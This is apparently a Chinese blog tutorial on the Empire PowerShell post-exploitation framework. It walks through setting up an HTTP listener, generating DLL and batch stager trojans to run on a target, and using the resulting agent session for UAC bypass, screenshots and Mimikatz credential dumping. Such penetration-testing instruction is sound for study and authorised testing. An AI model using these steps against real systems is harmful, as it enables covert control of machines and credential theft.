Empire 是一款类似Metasploit 的渗透测试框架,基于python 编写,Empire是一个纯粹的PowerShell 后开发代理,建立在密码安全通信和灵活的架构上。Empire 实现了无需powershell.exe 即可运行PowerShell 代理的功能,从键盘记录器到Mimikatz 等快速部署的后期开发模块,以及适应性通信以避开网络检测,所有这些都包含在以可用性为重点的框架中。

0x01 首先是下载、安装

Github:https://github.com/EmpireProject/Empire

不喜欢用命令的同学可以去安装一个GUI界面的,也是国外大牛用php写的一个web界面

Github:https://github.com/interference-security/empire-web

下载

安装

打开Empire

0x02 基本使用

help命令查看具体帮助

Agents—— 未来回连的靶机;

creds—— 便是数据库中写入的各类凭据(主要为口令一类);

interacrt——与现有agents宝宝们交互(实际并非一个交互性shell,Empire其实类似一款http/https仿造浏览器请求侦察与控守混合型木马,通道隐藏性较好可惜牺牲了流量,wireshark抓包你会发现核心防火墙上的request包流浪有多么恐怖~);

list—— 后跟listeners或agents列出当前活跃的监听器或服务端宝宝;

listeners—— 进入监听器设置接口;

load—— 加载自定义模块或其他扩展模块接口(默认为empire当前目录);

plugin—— 加载自定义插件或其他扩展插件;

 plugins—— 列出所有载入的插件列表; 

preobfuscate——预混淆功能。食之无味,弃之可惜,谓之鸡肋。还是介绍一下,需要在系统上预装wine和powershell,但是wine本身的不稳定,笔者也不知道怎么去描述这个功能的设计目的了。预混淆顾名思义就是预先对所有加入了该功能接口的脚本执行混淆操作,增强其后渗透阶段免杀能力,不过,笔者表示懒得去用;

reload—— 同MSFreload功能;

report—— 输出报告;

reset—— 重置ip黑白名单、混淆项目等;

resource—— 批量导入empire命令执行;

searchmodule—— 模块关键词搜索(命令行界面优于GUI界面);

set—— 设置ip黑白名单、混淆项目等;

show—— 查看当前框架设置,也就是set默认值;

usemodule—— 使用某一模块;

usestager—— 使用某一载荷。

Listeners

首先你要建立一个本地的Listener,listeners命令将跳到listener管理菜单。你可以随时使用list命令列出被激活的listener。Info命令将显示当前listener配置的选项。

listener之后空格加敲2下TAB列出可供使用的监听器,然后基于我们的需求选择所需要配置的监听器:

这里我们首先选择http,每个监听器具体功能可进入该监听器模块而后info显示进行阅读。

使用set命令设置Host/Port参数,可以直接使用域名。

(Empire: listeners/http) > set Name shuteer
(Empire: listeners/http) > set Host 192.168.190.141
(Empire: listeners/http) > execute

Back命令即可返回上一层 list命令可以列出当前激活的listener,kill命令可以删除该监听。

0x03 生成木马

Stagers 

Empire在./lib/stagers/*里实现了多个模块化的stagers。包含有dlls,macros,one-liners等等。使用usestager <tab>列出所有可用的stagers。

multi模块为通用模块,osx是Mac操作系统的模块,剩下的就是windows的模块

1)DLL

dll 进程注入马应该是平日里用的最多的方式了,输入usestagerwindows/dll 的命令,然后输入info 命令来查看详细参数

(Empire: listeners) > usestager windows/dll
(Empire: stager/windows/dll) > info

这里我们设置一下Listener,然后执行execute命令,就会在tmp目录下生成launcher.dll的木马

(Empire: stager/windows/dll) > set Listener shuteer
(Empire: stager/windows/dll) > execute

然后将launcher.dll在目标主机上运行后,就会成功上线。

注意:当然也可以用于NSA方程式工具当中的双重脉冲SMB后门,毕竟最开始Empire被广泛关注就是结合NSA后门程序反弹shell利用的Youtube视频。

2)launcher相关

如果只是需要简单的powershell代码,在设置完相应模块后,可以直接在监听器菜单中键入“launcher<language> <listenerName>”,自动生成一行base64编码后的PowerShell代码。

最后返回键入launcherpowershell My@Empire命令来生成一个Payload,放置到目标主机执行即可。

(Empire: listeners) > usestager windows/launcher_bat
(Empire: stager/windows/launcher_bat) > info

生成

(Empire: stager/windows/launcher_bat) > set Listener shuteer
(Empire: stager/windows/launcher_bat) > execute

[*] Stager output written out to: /tmp/launcher.bat

目标机执行

可以看到base64编码代码

成功反弹监听会话,agents查看反弹的会话,和msf的sessions差不多

0X04 交互阶段

interact命令来进行交互

(Empire: agents) > interact NTGZWASR
(Empire: NTGZWASR) > whoami
[*] Tasked NTGZWASR to run TASK_SHELL
[*] Agent NTGZWASR tasked with task ID
(Empire: NTGZWASR) > [*] Agent NTGZWASR returned results.
PC-\Administrator

help命令可以查看agent中可以使用哪些命令

Bypassuac命令

顾名思义就是绕过uac的。除非你是本机的administrator,否则普通管理员都需要右键某个程序,然后选择run as administrator才能运行,这都是uac作的怪。
因为这里是用普通域用户权限执行的,连本机的普通管理员都不算,所以失败了。

sc命令 屏幕截图

mimikatz命令 抓hash

upload download命令不用多说了

初识域渗透利器Empire的更多相关文章

  1. Metasploit域渗透测试全程实录(终结篇)

    本文作者:i春秋签约作家——shuteer 前言 内网渗透测试资料基本上都是很多大牛的文章告诉我们思路如何,但是对于我等小菜一直是云里雾里.于是使用什么样的工具才内网才能畅通无阻,成了大家一直以来的渴 ...

  2. 初级AD域渗透系列

      net group /domain 获得所有域用户组列表 net group “domain admins” /domain 获得域管理员列表 net group “enterprise admi ...

  3. 域渗透基础之NTLM认证协议

    域渗透基础的两个认证协议ntlm和Kerberos协议是必须总结的~ 这篇简单总结下ntlm协议 晚上写下kerberos 0x01 NTLM简介 NTLM使用在Windows NT和Windows ...

  4. 域渗透:SPN(ServicePrincipal Names)的利用

    SPN 简介:服务主体名称(SPN:ServicePrincipal Names)是服务实例(可以理解为一个服务,比如 HTTP.MSSQL)的唯一标识符.Kerberos 身份验证使用 SPN 将服 ...

  5. 域渗透复盘(安洵CTF线下)

    复盘线下域渗透环境Write Up 0x01 外网web到DMZ进域 外网web入口 joomla应用   192.168.0.5 反序列化打下来 GET /index.php HTTP/1.1 Ho ...

  6. AD域渗透总结

    域渗透总结 学习并做了一段时间域网络渗透,给我直观的感受就是思路问题和耐心,这个不像技术研究,需要对一个点进行研究,而是遇到问题后要从多个方面思考,寻找"捷径"思路,只要思路正确, ...

  7. 内网域渗透之MS14-068复现(CVE-2014-6324)

    在做域渗透测试时,当我们拿到了一个普通域成员的账号后,想继续对该域进行渗透,拿到域控服务器权限.如果域控服务器存在MS14_068漏洞,并且未打补丁,那么我们就可以利用MS14_068快速获得域控服务 ...

  8. 内网域渗透之MS14-068复现

    在做域渗透测试时,当我们拿到了一个普通域成员的账号后,想继续对该域进行渗透,拿到域控服务器权限.如果域控服务器存在MS14_068漏洞,并且未打补丁,那么我们就可以利用MS14_068快速获得域控服务 ...

  9. 域渗透-Kerberos身份验证流程

    域渗透-Kerberos身份验证流程 Kerberos协议框架 在 Kerberos 协议中主要是有三个角色的存在: 1. 访问服务的 Client: 2. 提供服务的 Server: 3.KDC(K ...

随机推荐

  1. Qt无边框窗体-模拟模态窗体抖动效果

    目录 一.概述 二.效果展示 三.功能实现 四.相关文章 原文链接:Qt无边框窗体-模拟模态窗体抖动效果 一.概述 用Qt开发windows客户端界面确实是一大利器,兼顾性能的同时,速度相对来说也不错 ...

  2. 16 (OC)* UIAnimation和CoreAnimation

    目录 一 Core Animation 二 核心动画 2.1 基础动画 2.2 关键帧动画 2.3 动画组 2.4 转场动画 2.5 逐帧动画 三 UIView动画封装 3.1 基础动画 3.2 弹簧 ...

  3. Android 让你的 Room 搭上 RxJava 的顺风车 从重复的代码中解脱出来

    # 什么是 Room ? 谷歌为了帮助开发者解决 Android 架构设计问题,在 Google I/O 2017 发布一套帮助开发者解决 Android 架构设计的方案:Android Archit ...

  4. Python-进程相关概念

    名词解释: 进程: 一个具有一定独立功能的程序关于某个数据集合的一次运行活动,是系统进行资源分配和调度运行的基本单位 1. 并行 在某个*时间点*,两件或两件以上的事件(任务)同时执行. 比如说,有三 ...

  5. java-不定项参数(可变参数)的作用和使用方式

    引言: 我们在编写方法的过程中,可能会遇见一个方法有不确定参数个数的情况.一般我们会用方法重载来解决问题: 1 //方法重载,解决参数个数不确定问题 2 public void method(); 3 ...

  6. OpenGl 实现鼠标分别移动多个物体 ----------移动一个物体另外一个物体不动--读取多个3d模型操作的前期踏脚石

    原文作者:aircraft 原文链接:https://www.cnblogs.com/DOMLX/p/11620088.html 前言: 因为接下来的项目需求是要读取多个3D模型,并且移动拼接,那么我 ...

  7. 微信公众平台开发(57)Emoji表情符号 【转发】

    微信公众平台开发(57)Emoji表情符号   微信公众平台开发 微信公众平台开发模式 企业微信公众平台 Emoji表情符号 作者:方倍工作室 地址:http://www.cnblogs.com/tx ...

  8. 【集群监控】Prometheus+AlertManager实现邮件报警

    AlertManager下载 https://prometheus.io/download/ 解压 添加配置文件test.yml,配置收发邮件邮箱 Prometheus下载配置参考我的另一篇: htt ...

  9. Windows定时备份Mysql数据库

    1.新建批处理文件bat(随意命名:如auto_backup_mysql_data.bat) 2.在批处理文件里添加如下命令 %1 mshta vbscript:createobject(" ...

  10. Map(映射)

    散列表介绍: 数组和链表都可以是有序的(即存储顺序与取出顺序一致),但这样是有代价的,需要遍历才可以寻找某一特定元素: 而还有另外的一些存储结构:不在意元素的顺序,能够快速的查找元素的数据 其中就有一 ...